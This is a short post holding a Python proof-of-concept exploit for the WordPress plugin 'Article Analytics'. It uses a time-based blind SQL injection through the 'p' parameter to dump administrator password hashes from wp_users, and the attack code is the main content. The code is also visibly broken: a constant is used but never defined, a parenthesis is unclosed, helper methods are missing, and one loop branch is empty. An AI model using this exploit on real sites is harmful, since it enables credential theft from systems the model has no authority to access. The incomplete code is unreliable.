On a Wordpress blog using MySQL the following PoC allows to extract the hash of the administrator :


import sys
from urllib.parse import quote, urlparse, urlunparse
from time import time

import requests
from requests.exceptions import RequestException
# Nicolas "devloop" Surribas - 2023
# Exploit for Wordpress plugin "Article Analytics"

# Time-based blind SQL injection exploit
# Tweak the following parameters

# Time to wait in the DBMS when checking for a value. Increase if the target is lagging. Must be an int.
TIME = 1
# Numbers of users to dump from the users database. For admin account, 1 should be enough.
# Users table. Change if custom.
USERS_TABLE = "wp_users"

class ColumnDumper:
    def __init__(self, table_name, column_name, order_by):
        self._table = table_name
        self._column = column_name
        self._order_by = order_by

    def get_at_offset(self, offset):
        return f"SELECT IFNULL(CAST({self._column} AS NCHAR),0x20) FROM {self._table} ORDER BY {self._order_by} LIMIT {offset},1"

    def get_char_at(self, expression, offset):
        return f"ORD(MID(({expression}), {offset}, 1))"

    def test(self, expression, success, failure):
        return f"IF({expression}, {success}, {failure})"

    def sleep(self, expression):
        return f"(SELECT SLEEP({expression}))"

    def test_value(self, column_offset, char_offset, operator, value):
        return self.sleep(
                self.get_char_at(self.get_at_offset(column_offset), char_offset) + f" {operator} {value}",

class Exploit:
    def __init__(self, url):
        self._sess = requests.session()
        parts = urlparse(url)
        # Get rid of parameters to have a clean version with empty "p" parameter
        self._url = urlunparse((parts.scheme, parts.netloc, parts.path, "", "p=", ""))

    def run(self, column_name):
        """Dump columns using cheap dichotomy"""
        self._cd = ColumnDumper(USERS_TABLE, column_name, "ID")
        for column_idx in range(COUNT_USERS):
            content = ""
            done = False
            for char_offset in range(1, 128):
                candidates = self.get_test_range(column_idx, char_offset)
                for c in candidates:
                    if self.test_char(column_idx, char_offset, c):
                        if c == 0:
                            done = True
                        content += chr(c)
                        print(f"In progress: {content}")
                if done:
            print(f"Found {content}")

    def perform_test(self, expression):
        """Fetch the URL, check the time for response"""
        start = time()
        # Uncomment that line to see the requests
        # print(self._url + expression)
        url = self._url + quote(expression)
        self._sess.get(url + quote(expression))